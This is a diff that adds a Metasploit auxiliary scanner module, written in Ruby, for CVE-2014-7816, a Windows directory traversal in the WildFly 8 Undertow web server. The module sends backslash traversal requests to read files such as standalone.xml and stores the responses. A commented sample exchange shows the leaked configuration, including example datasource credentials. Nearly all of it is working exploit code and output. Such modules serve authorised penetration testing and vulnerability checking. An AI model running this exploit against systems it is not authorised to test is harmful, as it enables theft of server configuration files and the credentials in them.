Land rapid7#4271, @espreto's module for CVE-2014-7816 WildFly's Traversal

* Issue in the web server JBoss Undertow

Author: jvazquez-r7

modules/auxiliary/scanner/http/wildfly_traversal.rb

@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WildFly 8 Directory Traversal',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final
+        web server running on port 8080, named JBoss Undertow. The vulnerability only affects to
+        Windows systems.
+      },
+      'References'     =>
+        [
+          ['CVE', '2014-7816' ],
+          ['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'],
+          ['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'],
+          ['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4']
+        ],
+      'Author'         => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => 'Oct 22 2014'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']),
+        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])
+      ], self.class)
+  end
+
+  def run_host(ip)
+    vprint_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}")
+
+    traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
+    res = send_request_raw({
+      'method' => 'GET',
+      'uri'    => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}"
+    })
+
+    if res &&
+        res.code == 200 &&
+        res.headers['Server'] &&
+        res.headers['Server'] =~ /WildFly/
+      vprint_line(res.to_s)
+      fname = File.basename(datastore['RELATIVE_FILE_PATH'])
+
+      path = store_loot(
+        'wildfly.http',
+        'application/octet-stream',
+        ip,
+        res.body,
+        fname
+      )
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      vprint_error("#{peer} - Nothing was downloaded")
+    end
+  end
+end
+
+=begin
+GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1
+User-Agent: curl/7.38.0
+Host: 127.0.0.1:8080
+Accept: */*
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT
+X-Powered-By: Undertow/1
+Server: WildFly/8
+Content-Type: text/xml
+Content-Length: 19697
+Date: Wed, 22 Oct 2014 16:32:08 GMT
+
+<?xml version='1.0' encoding='UTF-8'?>
+
+<server xmlns="urn:jboss:domain:2.1">
+<extensions>
+<extension module="org.jboss.as.clustering.infinispan"/>
+...snip...
+<subsystem xmlns="urn:jboss:domain:datasources:2.0">
+<datasources>
+<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true">
+<connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE</connection-url>
+<driver>h2</driver>
+<security>
+<user-name>sa</user-name>
+<password>sa</password>
+</security>
+</datasource>
+<drivers>
+<driver name="h2" module="com.h2database.h2">
+<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
+...snip...
+=end